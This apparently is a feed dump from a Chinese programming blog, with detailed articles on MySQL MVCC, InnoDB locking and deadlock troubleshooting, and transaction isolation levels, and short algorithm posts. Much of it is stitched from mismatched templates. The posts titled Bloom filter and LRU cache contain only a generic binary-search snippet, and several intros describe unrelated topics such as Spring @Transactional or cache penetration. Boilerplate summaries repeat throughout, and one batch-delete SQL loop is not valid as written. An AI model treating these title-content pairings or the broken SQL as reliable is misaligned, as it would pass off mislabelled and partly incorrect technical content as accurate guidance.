MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 布隆过滤器适合解决什么问题 //bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/ 布隆过滤器适合解决什么问题

布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 MySQL MVCC多版本并发控制 //mysql-mvcc-multi-version-concurrency/ MySQL MVCC多版本并发控制

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、为什么需要MVCC

#

1.1 并发读写的矛盾

传统锁机制下：

  • 读操作加共享锁
  • 写操作加排他锁
  • 读写互相阻塞

在高并发场景下，大量读请求被写请求阻塞，性能急剧下降。

#

1.2 MVCC的解决思路

核心思想：写操作不覆盖旧数据，而是生成新版本；读操作根据可见性规则选择合适版本读取。

时间线：
T1: 读取数据（看到版本V1）
T2: 修改数据（生成版本V2）
T3: 读取数据（仍看到版本V1，不被T2阻塞）

二、MVCC的实现基础

#

2.1 隐藏字段

InnoDB每行记录包含三个隐藏字段：

字段长度说明
DB_TRX_ID6字节最后修改该记录的事务ID
DB_ROLL_PTR7字节回滚指针，指向Undo Log
DB_ROW_ID6字节隐藏主键（无显式主键时使用）
+------+------+---------+------------+-------------+------------+
| id   | name | balance | DB_TRX_ID  | DB_ROLL_PTR | DB_ROW_ID  |
+------+------+---------+------------+-------------+------------+
| 1    | Alice| 1000    | 100        | 0x7f...     | 1          |
+------+------+---------+------------+-------------+------------+

#

2.2 Undo Log版本链

每次UPDATE或DELETE操作，都会生成Undo Log：

当前记录（最新版本，DB_TRX_ID=100）
    │ name='Alice', balance=1200
    │ DB_ROLL_PTR
    ▼
Undo Log（上个版本，由事务80修改）
    │ name='Alice', balance=1000
    │ DB_ROLL_PTR
    ▼
Undo Log（更早版本，由事务50插入）
    │ name='Alice', balance=0（初始值）
    │ DB_ROLL_PTR = NULL
    ▼
   NULL

关键：通过DB_ROLL_PTR形成版本链，可以回溯到任意历史版本。

#

2.3 Undo Log的类型

insert undo log：

  • 事务插入记录时产生
  • 事务提交后即可删除（不需要用于MVCC）

update undo log：

  • 事务更新或删除记录时产生
  • 事务提交后不能立即删除
  • 需要保留到没有比它更早的ReadView存在时

三、ReadView机制

#

3.1 什么是ReadView

ReadView是事务进行快照读时生成的”一致性视图”，决定事务能看到哪些版本的数据。

#

3.2 ReadView的组成

class ReadView {
    trx_id_t m_creator_trx_id;    // 创建该ReadView的事务ID
    ids_t m_ids;                   // 生成ReadView时活跃的事务ID列表
    trx_id_t m_up_limit_id;       // m_ids中的最小值（低水位）
    trx_id_t m_low_limit_id;      // 下一个要分配的事务ID（高水位）
}

#

3.3 可见性判断算法

对于某条记录，其DB_TRX_ID与ReadView的比较：

if (DB_TRX_ID == m_creator_trx_id) {
    // 自己修改的，可见
    return VISIBLE;
}

if (DB_TRX_ID < m_up_limit_id) {
    // 在ReadView创建前已提交，可见
    return VISIBLE;
}

if (DB_TRX_ID >= m_low_limit_id) {
    // 在ReadView创建后启动，不可见
    return INVISIBLE;
}

if (m_ids.contains(DB_TRX_ID)) {
    // 在ReadView创建时活跃（未提交），不可见
    return INVISIBLE;
} else {
    // 在ReadView创建前已提交，可见
    return VISIBLE;
}

不可见时的处理：
通过DB_ROLL_PTR找到上一个版本，继续判断。

#

3.4 不同隔离级别的ReadView差异

READ COMMITTED：

  • 每次SELECT生成新的ReadView
  • 能看到其他事务最新已提交的数据
T1（RC）：
  SELECT * FROM user WHERE id = 1;  -- ReadView1，看到V1
  
  -- T2修改并提交
  
  SELECT * FROM user WHERE id = 1;  -- ReadView2，看到V2

REPEATABLE READ：

  • 事务第一次SELECT时生成ReadView
  • 整个事务期间复用该ReadView
T1（RR）：
  SELECT * FROM user WHERE id = 1;  -- ReadView1，看到V1
  
  -- T2修改并提交
  
  SELECT * FROM user WHERE id = 1;  -- 仍用ReadView1，看到V1（不可重复读解决）

四、MVCC工作流程

#

4.1 插入操作

BEGIN;  -- 事务ID = 100
INSERT INTO user (id, name) VALUES (1, 'Alice');
COMMIT;

生成的记录：

id=1, name='Alice', DB_TRX_ID=100, DB_ROLL_PTR=NULL

#

4.2 更新操作

BEGIN;  -- 事务ID = 200
UPDATE user SET name = 'Bob' WHERE id = 1;
COMMIT;

执行过程：

  1. 复制旧记录到Undo Log
  2. 修改当前记录：
    • name = ‘Bob’
    • DB_TRX_ID = 200
    • DB_ROLL_PTR → 指向Undo Log
当前记录:
id=1, name='Bob', DB_TRX_ID=200, DB_ROLL_PTR→Undo Log

Undo Log（事务100的版本）:
name='Alice', DB_TRX_ID=100, DB_ROLL_PTR=NULL

#

4.3 删除操作

BEGIN;  -- 事务ID = 300
DELETE FROM user WHERE id = 1;
COMMIT;

执行过程：

  1. 复制记录到Undo Log
  2. 标记当前记录的delete flag = true
  3. DB_TRX_ID更新为300
当前记录:
id=1, name='Bob', DB_TRX_ID=300, DB_ROLL_PTR→Undo Log, delete_flag=true

Undo Log（事务200的版本）:
name='Bob', DB_TRX_ID=200, DB_ROLL_PTR→更早的Undo Log

#

4.4 查询操作（快照读）

SELECT * FROM user WHERE id = 1;  -- 快照读

执行过程：

  1. 找到id=1的记录
  2. 根据ReadView判断可见性
  3. 如果当前版本不可见，沿Undo Log链找到可见版本
  4. 返回可见版本的数据

#

4.5 当前读（Current Read）

SELECT * FROM user WHERE id = 1 FOR UPDATE;  -- 当前读
UPDATE user SET name = 'Charlie' WHERE id = 1;  -- 当前读
DELETE FROM user WHERE id = 1;  -- 当前读
INSERT INTO user ...  -- 当前读

当前读特点：

  • 读取数据的最新版本
  • 需要加锁
  • 不受MVCC影响

五、MVCC与幻读

#

5.1 快照读与幻读

在REPEATABLE READ下：

-- 事务T1
BEGIN;
SELECT * FROM user WHERE id > 5;  -- 读到3条（快照读，ReadView生成）

-- 事务T2插入id=10并提交

SELECT * FROM user WHERE id > 5;  -- 仍读到3条（RR保证）

原因：第二次查询仍使用第一次的ReadView，id=10的记录DB_TRX_ID是T2的，对T1不可见。

#

5.2 当前读与幻读

-- 事务T1
BEGIN;
SELECT * FROM user WHERE id > 5 FOR UPDATE;  -- 当前读，加临键锁

-- 事务T2插入id=10 → 被阻塞（间隙锁）

InnoDB解决幻读：

  • 快照读：通过MVCC的ReadView机制
  • 当前读：通过间隙锁（Gap Lock）

#

5.3 幻读的特例

MVCC不能完全解决所有幻读场景：

-- 事务T1（RR）
BEGIN;
SELECT * FROM user WHERE id = 10;  -- 不存在，返回空

-- 事务T2插入id=10并提交

-- 事务T1
UPDATE user SET name = 'XXX' WHERE id = 10;  -- 成功！（当前读）
SELECT * FROM user WHERE id = 10;  -- 查到了！（幻读）

原因：UPDATE是当前读，能看到T2提交的数据并修改。修改后该记录的DB_TRX_ID变为T1，对自己可见。

六、MVCC的清理机制

#

6.1 Purge线程

Undo Log不能无限增长，需要清理：

  1. 确定清理范围：找到所有ReadView中最老的m_up_limit_id
  2. 清理Undo Log：删除比该ID更早且已提交的Undo Log
  3. 清理标记删除的记录：真正删除delete_flag=true且不可见的记录

#

6.2 历史列表长度

-- 查看Undo Log历史列表长度
SHOW ENGINE INNODB STATUS;
-- History list length 1000

History list length过大：

  • 说明有大量未清理的Undo Log
  • 可能原因：长事务、大量写操作
  • 影响：查询需要遍历更多版本，性能下降

七、MVCC实践要点

#

7.1 避免长事务

-- 查看长事务
SELECT 
    trx_id,
    trx_mysql_thread_id,
    trx_state,
    TIMESTAMPDIFF(SECOND, trx_started, NOW()) AS trx_seconds
FROM information_schema.innodb_trx
WHERE TIMESTAMPDIFF(SECOND, trx_started, NOW()) > 60;

长事务的危害：

  • 持有Undo Log不释放
  • 导致History list length增长
  • 影响查询性能
  • 可能导致锁等待

#

7.2 选择合适的事务隔离级别

场景推荐隔离级别
高并发读、少量写READ COMMITTED
需要严格一致性REPEATABLE READ
金融交易REPEATABLE READ + 乐观锁
报表统计REPEATABLE READ

#

7.3 理解快照读和当前读

-- 快照读（不加锁，读历史版本）
SELECT * FROM user WHERE id = 1;

-- 当前读（加锁，读最新版本）
SELECT * FROM user WHERE id = 1 FOR UPDATE;
SELECT * FROM user WHERE id = 1 LOCK IN SHARE MODE;

-- DML都是当前读
UPDATE user SET ...;
DELETE FROM user WHERE ...;

八、总结

组件作用
DB_TRX_ID标识数据版本
DB_ROLL_PTR链接历史版本
Undo Log存储历史版本数据
ReadView决定数据可见性
隔离级别ReadView生成时机效果
READ COMMITTED每次SELECT解决脏读
REPEATABLE READ第一次SELECT解决脏读、不可重复读

MVCC的核心价值：

  1. 读写不阻塞：读操作不加锁，写操作生成新版本
  2. 一致性读：同一事务内多次读取结果一致
  3. 高并发：大幅提升读密集型应用的并发能力

理解MVCC机制，有助于：

  • 合理设计事务边界
  • 选择合适的隔离级别
  • 排查并发异常问题
  • 优化长事务和Undo Log管理

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 LRU 缓存淘汰算法动手实现 //lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/ LRU 缓存淘汰算法动手实现

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 MySQL锁机制与死锁排查 //mysql-lock-deadlock-troubleshoot/ MySQL锁机制与死锁排查

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、锁的基本概念

#

1.1 为什么需要锁

数据库是多用户共享资源，锁用于：

  • 保证数据一致性
  • 控制并发访问
  • 实现事务隔离

#

1.2 锁的分类

按粒度：

  • 全局锁
  • 表级锁
  • 页级锁
  • 行级锁

按功能：

  • 共享锁（S Lock / Read Lock）
  • 排他锁（X Lock / Write Lock）

按使用方式：

  • 乐观锁
  • 悲观锁

二、InnoDB锁类型

#

2.1 行锁（Record Lock）

锁定索引记录本身：

-- 对id=1的记录加排他锁
SELECT * FROM user WHERE id = 1 FOR UPDATE;

-- 对id=1的记录加共享锁
SELECT * FROM user WHERE id = 1 LOCK IN SHARE MODE;

注意：InnoDB行锁是通过锁定索引实现的。如果查询条件没有用到索引，会退化为表锁。

#

2.2 间隙锁（Gap Lock）

锁定索引记录之间的”间隙”，防止幻读：

已有记录id: 1, 5, 10

间隙：(-∞, 1), (1, 5), (5, 10), (10, +∞)
-- 锁定id>5的间隙
SELECT * FROM user WHERE id > 5 FOR UPDATE;
-- 锁住 (5,10] 和 (10,+∞) 的间隙

间隙锁特点：

  • 只在REPEATABLE READ下生效
  • 间隙锁之间不冲突（多个事务可同时持有同一间隙锁）
  • 阻止在间隙中插入数据

#

2.3 临键锁（Next-Key Lock）

Record Lock + Gap Lock的组合，锁定记录及其前面的间隙：

记录10的临键锁：锁定(5, 10]区间

InnoDB默认使用临键锁进行搜索和索引扫描。

#

2.4 插入意向锁（Insert Intention Lock）

插入操作前设置的间隙锁，表明要在某个间隙插入数据：

事务T1持有(5, 10)的间隙锁
事务T2想插入id=7的记录

T2获得(5, 10)的插入意向锁
-- 插入意向锁与间隙锁兼容，T2可以等待

#

2.5 自增锁（AUTO-INC Lock）

保证自增ID的连续性：

INSERT INTO user (name) VALUES ('Alice'), ('Bob');

三种模式（innodb_autoinc_lock_mode）：

  • 0：传统模式，每次INSERT加锁
  • 1：连续模式（默认），批量INSERT加锁，单行使用轻量锁
  • 2：交错模式，所有使用轻量锁，ID可能不连续但并发最高

三、锁的兼容性

#

3.1 锁兼容矩阵

XSIXISAI
X✗✗✗✗✗
S✗✓✗✓✗
IX✗✗✓✓✓
IS✗✓✓✓✓
AI✗✗✓✓✗
  • X：排他锁
  • S：共享锁
  • IX：意向排他锁
  • IS：意向共享锁
  • AI：自增锁

#

3.2 意向锁（Intention Lock）

意向锁是表级锁，用于协调行锁和表锁：

-- 事务要更新某行，先加意向排他锁
UPDATE user SET name = 'Alice' WHERE id = 1;
-- 自动加IX锁

-- 其他事务要加表锁，检查意向锁冲突
LOCK TABLES user WRITE;  -- 需要等待IX释放

作用：避免加表锁时逐行检查行锁冲突。

四、锁的查看与分析

#

4.1 查看当前锁

-- MySQL 8.0
SELECT 
    ENGINE_TRANSACTION_ID,
    OBJECT_NAME,
    OBJECT_SCHEMA,
    LOCK_TYPE,
    LOCK_MODE,
    LOCK_STATUS,
    LOCK_DATA
FROM performance_schema.data_locks;

-- 查看锁等待
SELECT 
    REQUESTING_ENGINE_TRANSACTION_ID AS waiting_trx,
    BLOCKING_ENGINE_TRANSACTION_ID AS blocking_trx,
    LOCK_TYPE,
    LOCK_MODE
FROM performance_schema.data_lock_waits;

#

4.2 查看事务和锁（传统方式）

-- 查看InnoDB状态（包含最近死锁信息）
SHOW ENGINE INNODB STATUS;

-- 查看事务
SELECT * FROM information_schema.innodb_trx;

-- 查看锁
SELECT * FROM information_schema.innodb_locks;      -- MySQL 5.7
SELECT * FROM performance_schema.data_locks;        -- MySQL 8.0

-- 查看锁等待
SELECT * FROM information_schema.innodb_lock_waits; -- MySQL 5.7
SELECT * FROM performance_schema.data_lock_waits;   -- MySQL 8.0

五、死锁

#

5.1 什么是死锁

两个或多个事务互相等待对方释放锁，形成循环等待。

事务T1: 持有A的锁，请求B的锁
事务T2: 持有B的锁，请求A的锁

T1等待T2释放B
T2等待T1释放A

→ 死锁！

#

5.2 死锁示例

-- 表: account(id, balance)
-- 数据: (1, 1000), (2, 2000)

-- 事务T1
BEGIN;
UPDATE account SET balance = balance - 100 WHERE id = 1;  -- 锁id=1
-- ... 其他操作 ...
UPDATE account SET balance = balance + 100 WHERE id = 2;  -- 等待id=2

-- 事务T2（同时执行）
BEGIN;
UPDATE account SET balance = balance - 200 WHERE id = 2;  -- 锁id=2
-- ... 其他操作 ...
UPDATE account SET balance = balance + 200 WHERE id = 1;  -- 等待id=1
-- ERROR 1213 (40001): Deadlock found

#

5.3 死锁检测

InnoDB自动检测死锁：

[mysqld]
innodb_deadlock_detect = ON   -- 默认开启
innodb_lock_wait_timeout = 50  -- 锁等待超时时间（秒）

死锁处理策略：

  • 选择undo量最小的事务回滚（代价最小）
  • 被回滚的事务会收到ERROR 1213

#

5.4 查看死锁日志

SHOW ENGINE INNODB STATUS;

在LATEST DETECTED DEADLOCK部分：

------------------------
LATEST DETECTED DEADLOCK
------------------------
*** (1) TRANSACTION:
TRANSACTION 12345, ACTIVE 10 sec starting index read
mysql tables in use 1, locked 1
LOCK WAIT 2 lock struct(s), heap size 1136, 1 row lock(s)
MySQL thread id 100, OS thread handle 1234567, query id 500 localhost root updating
UPDATE account SET balance = balance + 100 WHERE id = 2
*** (1) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 58 page no 3 n bits 72 index PRIMARY of table `test`.`account`
trx id 12345 lock_mode X locks rec but not gap waiting
Record lock, heap no 2 PHYSICAL RECORD: n_fields 4; compact format; info bits 0

*** (2) TRANSACTION:
TRANSACTION 12346, ACTIVE 8 sec starting index read
mysql tables in use 1, locked 1
4 lock struct(s), heap size 1136, 2 row lock(s)
MySQL thread id 101, OS thread handle 1234568, query id 501 localhost root updating
UPDATE account SET balance = balance + 200 WHERE id = 1
*** (2) HOLDS THE LOCK(S):
... 
*** (2) WAITING FOR THIS LOCK TO BE GRANTED:
...

*** WE ROLL BACK TRANSACTION (2)

#

5.5 死锁预防

1. 固定访问顺序

// 按id从小到大排序，统一访问顺序
public void transfer(Long fromId, Long toId, BigDecimal amount) {
    Long firstId = Math.min(fromId, toId);
    Long secondId = Math.max(fromId, toId);
    
    Account first = accountDao.selectForUpdate(firstId);
    Account second = accountDao.selectForUpdate(secondId);
    
    // 执行转账逻辑
}

2. 降低隔离级别

-- READ COMMITTED减少间隙锁使用
SET SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED;

3. 减少事务持有锁的时间

// 不好的做法：事务中做RPC
@Transactional
public void badPractice() {
    updateDB();      // 加锁
    callRemoteAPI(); // 网络IO，锁长时间持有
    updateDB2();     // 加锁
}

// 好的做法：锁内只保留必要操作
public void goodPractice() {
    // 事务1：获取必要数据
    Data data = transactionTemplate.execute(status -> {
        return getData();
    });
    
    // 外部做RPC
    Result result = callRemoteAPI(data);
    
    // 事务2：更新数据
    transactionTemplate.execute(status -> {
        updateData(result);
        return null;
    });
}

4. 使用乐观锁

-- 添加版本号字段
ALTER TABLE account ADD COLUMN version INT DEFAULT 0;

-- 更新时检查版本号
UPDATE account 
SET balance = balance - 100, version = version + 1 
WHERE id = 1 AND version = 5;

-- 如果影响行数为0，说明数据被修改，需要重试

#

5.6 死锁排查流程

发现死锁错误
    │
    ├── 查看死锁日志
    │       └── SHOW ENGINE INNODB STATUS
    │
    ├── 分析死锁原因
    │       ├── 事务访问顺序不一致？→ 统一访问顺序
    │       ├── 间隙锁冲突？→ 考虑降低隔离级别
    │       ├── 事务时间过长？→ 缩短事务
    │       └── 批量操作？→ 分批处理
    │
    └── 验证修复效果
            └── 持续监控错误日志

六、锁优化建议

#

6.1 减少锁竞争

  1. 使用合适的索引：无索引的WHERE条件会锁全表
  2. 控制事务大小：大批量操作分批执行
  3. 避免长事务：及时提交或回滚
  4. 使用READ COMMITTED：减少间隙锁使用

#

6.2 锁粒度选择

场景建议
读多写少乐观锁（版本号）
写多读少悲观锁（FOR UPDATE）
竞争不激烈普通事务
竞争激烈考虑队列串行化

#

6.3 监控指标

-- 锁等待次数
SHOW STATUS LIKE 'Table_locks_waited';
SHOW STATUS LIKE 'Innodb_row_lock_waits';

-- 平均锁等待时间
SHOW STATUS LIKE 'Innodb_row_lock_time_avg';

-- 死锁次数
SHOW STATUS LIKE 'Innodb_deadlocks';

七、总结

锁类型锁定范围用途
Record Lock索引记录行级读写控制
Gap Lock索引间隙防止幻读
Next-Key Lock记录+间隙默认行锁
Insert Intention插入间隙插入并发控制
Intention Lock表级协调行锁和表锁
问题解决方案
死锁固定访问顺序、缩短事务、乐观锁
锁等待超时优化SQL、添加索引、分批处理
锁升级确保使用索引、避免大事务

理解锁机制的核心要点：

  1. 行锁基于索引实现，无索引则锁表
  2. RR隔离级别使用间隙锁防止幻读
  3. 死锁通过固定访问顺序和缩短事务预防
  4. 监控锁等待和死锁指标，及时发现和解决问题

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 二分查找为什么容易写错 //er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/ 二分查找为什么容易写错

二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 MySQL事务ACID与隔离级别 //mysql-transaction-acid-isolation/ MySQL事务ACID与隔离级别

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

一、事务基础

#

1.1 什么是事务

事务是一组逻辑操作的集合，要么全部成功，要么全部失败。

START TRANSACTION;
UPDATE account SET balance = balance - 100 WHERE id = 1;
UPDATE account SET balance = balance + 100 WHERE id = 2;
COMMIT;

#

1.2 事务控制语句

-- 开启事务
START TRANSACTION;
-- 或
BEGIN;

-- 提交事务
COMMIT;

-- 回滚事务
ROLLBACK;

-- 设置保存点
SAVEPOINT sp1;

-- 回滚到保存点
ROLLBACK TO SAVEPOINT sp1;

#

1.3 自动提交

-- 查看自动提交状态
SELECT @@autocommit;

-- 关闭自动提交
SET autocommit = 0;

-- 开启自动提交（默认）
SET autocommit = 1;

二、ACID特性

#

2.1 原子性（Atomicity）

定义：事务中的所有操作要么全部完成，要么全部不完成。

实现原理：Undo Log（回滚日志）

事务执行过程：
1. 记录undo log
2. 修改内存数据页
3. 写redo log（Prepare阶段）
4. 写binlog
5. redo log commit

如果需要回滚：
- 根据undo log将数据恢复到事务前状态

#

2.2 一致性（Consistency）

定义：事务执行前后，数据库从一个一致状态转换到另一个一致状态。

含义：

  • 数据库完整性约束不被破坏
  • 外键约束、触发器等正常执行
  • 业务规则保证（如转账总额不变）

实现：原子性、隔离性、持久性共同保证一致性。

#

2.3 隔离性（Isolation）

定义：多个事务并发执行时，一个事务的执行不应影响其他事务。

实现原理：

  • 锁机制（Locking）
  • 多版本并发控制（MVCC）

#

2.4 持久性（Durability）

定义：事务一旦提交，对数据库的改变就是永久的。

实现原理：

  • Redo Log（重做日志）：保证已提交事务不丢失
  • Force Log at Commit：事务提交时强制刷盘
事务提交时的写盘流程：
1. 修改Buffer Pool中的数据页（内存）
2. 写Redo Log Buffer（内存）
3. 刷Redo Log到磁盘（顺序写，速度快）
4. 事务标记为已提交
5. 后台线程异步将脏页刷到数据文件

三、并发问题

#

3.1 脏读（Dirty Read）

现象：读取到其他事务未提交的数据。

时间线：
T1: UPDATE account SET balance = 900 WHERE id = 1;  -- 未提交
T2: SELECT balance FROM account WHERE id = 1;  -- 读到900（脏读）
T1: ROLLBACK;  -- 回滚，balance实际还是1000

解决：禁止读取未提交数据（Read Committed及以上）。

#

3.2 不可重复读（Non-repeatable Read）

现象：同一事务内两次读取同一数据，结果不同。

时间线：
T1: SELECT balance FROM account WHERE id = 1;  -- 读到1000
T2: UPDATE account SET balance = 900 WHERE id = 1; COMMIT;
T1: SELECT balance FROM account WHERE id = 1;  -- 读到900（不可重复读）

解决：Repeatable Read及以上隔离级别。

#

3.3 幻读（Phantom Read）

现象：同一事务内两次查询，第二次查到了第一次没有的行。

时间线：
T1: SELECT * FROM account WHERE balance > 500;  -- 查到3条
T2: INSERT INTO account VALUES (4, 600); COMMIT;
T1: SELECT * FROM account WHERE balance > 500;  -- 查到4条（幻读）

解决：Serializable隔离级别，或InnoDB的间隙锁（Gap Lock）。

#

3.4 丢失更新（Lost Update）

现象：两个事务同时修改同一数据，后提交的事务覆盖了先提交的修改。

时间线：
T1: SELECT balance FROM account WHERE id = 1;  -- 读到1000
T2: SELECT balance FROM account WHERE id = 1;  -- 读到1000
T1: UPDATE account SET balance = 1100 WHERE id = 1; COMMIT;
T2: UPDATE account SET balance = 900 WHERE id = 1; COMMIT;
-- 最终结果900，T1的更新丢失了

解决：使用乐观锁（版本号）或悲观锁（SELECT FOR UPDATE）。

四、隔离级别

#

4.1 四种隔离级别

隔离级别脏读不可重复读幻读
READ UNCOMMITTED可能可能可能
READ COMMITTED不可能可能可能
REPEATABLE READ不可能不可能可能（InnoDB解决）
SERIALIZABLE不可能不可能不可能

#

4.2 READ UNCOMMITTED

SET SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
  • 可以读取未提交的数据
  • 性能最好，但数据一致性最差
  • 生产环境不建议使用

#

4.3 READ COMMITTED

SET SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED;
  • 只能读取已提交的数据（解决脏读）
  • 每次SELECT生成新的ReadView
  • Oracle、SQL Server默认级别
  • 可能出现不可重复读和幻读

#

4.4 REPEATABLE READ（MySQL默认）

SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;
  • 同一事务内多次读取结果一致（解决不可重复读）
  • 事务开始时生成ReadView，整个事务复用
  • InnoDB通过MVCC + 间隙锁，一定程度上解决幻读

#

4.5 SERIALIZABLE

SET SESSION TRANSACTION ISOLATION LEVEL SERIALIZABLE;
  • 所有操作串行执行
  • 通过加锁实现，性能最差
  • 完全解决所有并发问题

#

4.6 查看和设置隔离级别

-- 查看当前隔离级别
SELECT @@transaction_isolation;
-- 或
SHOW VARIABLES LIKE 'transaction_isolation';

-- 设置当前会话隔离级别
SET SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED;

-- 设置全局隔离级别
SET GLOBAL TRANSACTION ISOLATION LEVEL READ COMMITTED;

五、InnoDB的MVCC实现

#

5.1 隐藏字段

InnoDB每行记录都有两个隐藏字段：

  • DB_TRX_ID：最后修改该记录的事务ID
  • DB_ROLL_PTR：回滚指针，指向undo log
+----------+--------+---------+------------+-------------+
| id | name | balance | DB_TRX_ID  | DB_ROLL_PTR |
+----------+--------+---------+------------+-------------+
| 1  | Alice| 1000    | 100        | 0x7f...     |
+----------+--------+---------+------------+-------------+

#

5.2 Undo Log链

每次修改记录，都会生成undo log，形成版本链：

当前记录（最新版本）
    │ DB_ROLL_PTR
    ▼
Undo Log（上一个版本）
    │ DB_ROLL_PTR
    ▼
Undo Log（更早版本）
    │
   NULL

#

5.3 ReadView机制

ReadView是事务进行快照读时生成的读视图，决定能看到哪个版本的数据。

ReadView包含：

  • creator_trx_id：创建该ReadView的事务ID
  • m_ids：生成ReadView时，活跃的事务ID列表
  • min_trx_id：m_ids中的最小值
  • max_trx_id：下一个要分配的事务ID

可见性判断规则：

对于某条记录的DB_TRX_ID：

  1. 如果DB_TRX_ID == creator_trx_id：自己修改的，可见
  2. 如果DB_TRX_ID < min_trx_id：在ReadView创建前已提交，可见
  3. 如果DB_TRX_ID >= max_trx_id：在ReadView创建后启动，不可见
  4. 如果min_trx_id <= DB_TRX_ID < max_trx_id：
    • 在m_ids列表中：事务活跃，不可见
    • 不在m_ids列表中：已提交，可见

不可见时：通过DB_ROLL_PTR找到上一个版本，继续判断。

#

5.4 不同隔离级别的ReadView差异

READ COMMITTED：

  • 每次SELECT生成新的ReadView
  • 能看到其他事务已提交的最新数据

REPEATABLE READ：

  • 事务第一次SELECT时生成ReadView
  • 整个事务期间复用该ReadView
  • 保证同一事务内读取一致性

六、锁机制与隔离级别

#

6.1 InnoDB锁类型

按粒度：

  • 行锁（Record Lock）
  • 间隙锁（Gap Lock）
  • 临键锁（Next-Key Lock = Record Lock + Gap Lock）
  • 表锁

按功能：

  • 共享锁（S Lock）：读锁
  • 排他锁（X Lock）：写锁

#

6.2 各隔离级别的锁行为

READ UNCOMMITTED：

  • SELECT不加锁，直接读最新数据（包括未提交的）

READ COMMITTED：

  • SELECT不加锁，使用MVCC读取已提交数据
  • UPDATE/DELETE只锁匹配的行（记录锁）

REPEATABLE READ：

  • SELECT不加锁，使用MVCC读取快照
  • UPDATE/DELETE使用临键锁（Next-Key Lock），防止幻读
  • 范围查询时加间隙锁

SERIALIZABLE：

  • 所有SELECT加共享锁
  • 完全串行化

#

6.3 幻读的解决

InnoDB在REPEATABLE READ下通过间隙锁解决幻读：

-- T1
BEGIN;
SELECT * FROM account WHERE id > 5 FOR UPDATE;
-- 锁住id>5的记录，以及id>5的间隙

-- T2
INSERT INTO account VALUES (10, ...);  -- 被阻塞！间隙锁阻止插入

注意：普通SELECT（快照读）不受间隙锁保护，可能看到幻读。只有FOR UPDATE（当前读）加间隙锁才能完全避免。

七、事务优化建议

#

7.1 事务设计原则

  1. 保持事务简短：长事务占用锁时间长，影响并发
  2. 避免在事务中做RPC调用：网络延迟导致事务长时间不提交
  3. 按固定顺序访问资源：减少死锁概率
  4. 合适的隔离级别：不需要RR时，使用RC提升并发

#

7.2 大事务处理

-- 大DELETE分批处理
REPEAT
    DELETE FROM logs WHERE create_time < '2023-01-01' LIMIT 1000;
    SLEEP 1;
UNTIL ROW_COUNT() = 0 END REPEAT;

#

7.3 监控长事务

-- 查看正在执行的事务
SELECT 
    trx_id,
    trx_state,
    trx_started,
    TIMESTAMPDIFF(SECOND, trx_started, NOW()) AS trx_seconds,
    trx_mysql_thread_id,
    trx_tables_locked,
    trx_rows_locked
FROM information_schema.innodb_trx
ORDER BY trx_started;

-- 杀死长事务
KILL <trx_mysql_thread_id>;

八、总结

特性实现机制关键概念
原子性Undo Log回滚
一致性ACID综合约束、触发器
隔离性MVCC + 锁ReadView、间隙锁
